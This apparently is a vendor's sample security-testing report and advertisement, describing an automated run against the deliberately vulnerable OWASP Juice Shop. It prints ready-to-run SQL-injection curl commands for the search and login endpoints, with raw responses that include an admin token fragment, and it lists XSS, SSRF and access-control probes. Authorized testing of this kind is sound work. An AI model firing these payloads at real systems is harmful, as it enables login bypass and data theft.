// SAMPLE REPORT · real run · public target (OWASP Juice Shop, vulnerable by design)
real run, unchanged — generated from the run artifacts.
This is a real verification run on a target that is public and vulnerable by design. Every finding below fired 2× and every negative control — the same probe with the payload removed — came back clean. That differential is the finding, and each one ships with its PoC as a curl your reviewer can copy, paste, and re-run, plus the raw request and response it produced.
GET /rest/products/search?q — the search parameter is concatenated directly into the SQL query.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H500 — observed: 500. Fired 2× in independent executions; the benign-input control (same probe, payload removed) did not fire it.curl -i --path-as-is http://127.0.0.1:31000/rest/products/search?q=' OR 1=1--
GET http://127.0.0.1:31000/rest/products/search?q=' OR 1=1--
status 500 · content-type: text/html; charset=utf-8
<html>
<head>
<meta charset='utf-8'>
<title>Error: SQLITE_ERROR: incomplete input</title>
<style>* {
margin: 0;
padding: 0;
outline: 0;
}
body {
padding: 80px 100px;
font: 13px "Helvetica Neue", "Lucida Grande", "Arial";
background: #ECE9E9 -webkit-gradient(linear, 0% 0%, 0% 100%, from(#fff), to(#ECE9E9));
background: #ECE9E9 -moz-linear-gradient(top, #fff, #ECE9E9);
… [truncated — 942 bytes total in the evidence artifact]
POST /rest/user/login — the email field is concatenated into the authentication query — the injected credential authenticates as the admin account.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Htoken|SQL|SQLITE_ERROR|System error — observed: authentication. Fired 2× in independent executions; the benign-input control (same probe, payload removed) did not fire it.curl -i -X POST -d {"email": "' OR 1=1--", "password": "x"} --path-as-is http://127.0.0.1:31000/rest/user/login
POST http://127.0.0.1:31000/rest/user/login
Content-Type: application/json
{"email": "' OR 1=1--", "password": "x"}
status 200 · content-type: application/json; charset=utf-8
{"authentication":{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJkYXRhIjp7ImlkIjoxLCJ1c2VybmFtZSI6IiIsImVtYWlsIjoiYWRtaW5AanVpY2Utc2gub3AiLCJwYXNzd29yZCI6IjAxOTIwMjNhN2JiZDczMjUwNTE2ZjA2OWRmMThiNTAwIiwicm9sZSI6ImFkbWluIiwiZGVsdXhlVG9rZW4iOiIiLCJsYXN0TG9naW5JcCI6IiIsInByb2ZpbGVJbWFnZSI6ImFzc2V0cy9wdWJsaWMvaW1hZ2VzL3VwbG9hZHMvZGVmYXVsdEFkbWluLnBuZyIsInRvdHBTZWNyZXQiOiIiLCJpc0FjdGl2ZSI6dHJ1ZSwiY3J
… [truncated — 784 bytes total in the evidence artifact]
Every hypothesis the run raised is listed with its endpoint, its declared fault signal, how many attempts it consumed and its verdict. Nothing is dropped for looking bad; one validated signal was adjudicated out and says so.
| hypothesis | class | endpoint | fault signal | attempts | verdict |
|---|---|---|---|---|---|
| H-7c30ed04-018 | xss_reflected | GET /rest/products/search?q | body-pattern <script>alert\(1\)</script> | 9 | RESISTEDfault signal not certified |
| H-7c30ed04-003 | auth_bypass | POST /rest/user/login | body-pattern "token"|authentication | 10 | RESISTEDfault signal not certified |
| H-7c30ed04-004 | sqli | POST /rest/user/login | body-pattern token|SQL|SQLITE_ERROR|System error | 1 | VALIDATED → FINDINGFL-7156550fb2af |
| H-7c30ed04-006 | bola | GET /rest/basket/:id | body-pattern Products|items|data|email | 11 | RESISTEDfault signal not certified |
| H-7c30ed04-023 | ssrf | GET /redirect?to | body-pattern evil\d+\.example\.com | 8 | RESISTEDfault signal not certified |
| H-7c30ed04-019 | sqli | GET /rest/products/search?q | http-status 500 | 4 | VALIDATED → FINDINGFL-03ac49d787bd |
| H-7c30ed04-024 | bola | PUT /api/Users/:id | http-status 200 | 8 | RESISTEDfault signal not certified |
| H-7c30ed04-008 | bola | GET /rest/track-order/:id | body-pattern email|order|ETA|address|Products | 11 | RESISTEDfault signal not certified |
| H-7c30ed04-017 | sqli | GET /rest/track-order/:id | body-pattern SQLITE|error|Order|email | 3 | VALIDATED → ADJUDICATED OUTadjudication verdict: refuted — the observed match was the probe's own payload echo; excluded from findings |
| H-7c30ed04-026 | bola | POST /rest/basket/1/checkout | body-pattern confirmation|order|success | 9 | RESISTEDfault signal not certified |
| H-7c30ed04-009 | auth_bypass | POST /rest/basket/1/checkout | http-status 200, 201, 202 | 11 | RESISTEDfault signal not certified |
| 3 validated (→ 2 findings + 1 adjudicated out) + 8 resisted = 11 raised — the arithmetic closes on this page. | |||||
These were attacked with real PoCs — 77 attempts across up to 3 informed rounds each — and their declared fault signal never fired. Resisted is a verdict, not a budget cut: each round learns from the previous failures before it gives up.
GET /rest/products/search?qbody-pattern signal9 attemptsPOST /rest/user/loginbody-pattern signal10 attemptsGET /rest/basket/:idbody-pattern signal11 attemptsGET /redirect?tobody-pattern signal8 attemptsPUT /api/Users/:idhttp-status signal8 attemptsGET /rest/track-order/:idbody-pattern signal11 attemptsPOST /rest/basket/1/checkoutbody-pattern signal9 attemptsPOST /rest/basket/1/checkouthttp-status signal11 attemptsA one-file HTML report exactly like this one (no login), the raw request/response evidence per execution cited by sha256, a verified-resistances certificate for what we attacked and could not break, remediation guidance per finding, and the post-fix retest until every finding reads FIXED.
One authorized external target. No credentials, nothing to install. Findings that reproduce — or they don't ship.
Request Verify External → engagements@naxxan.ai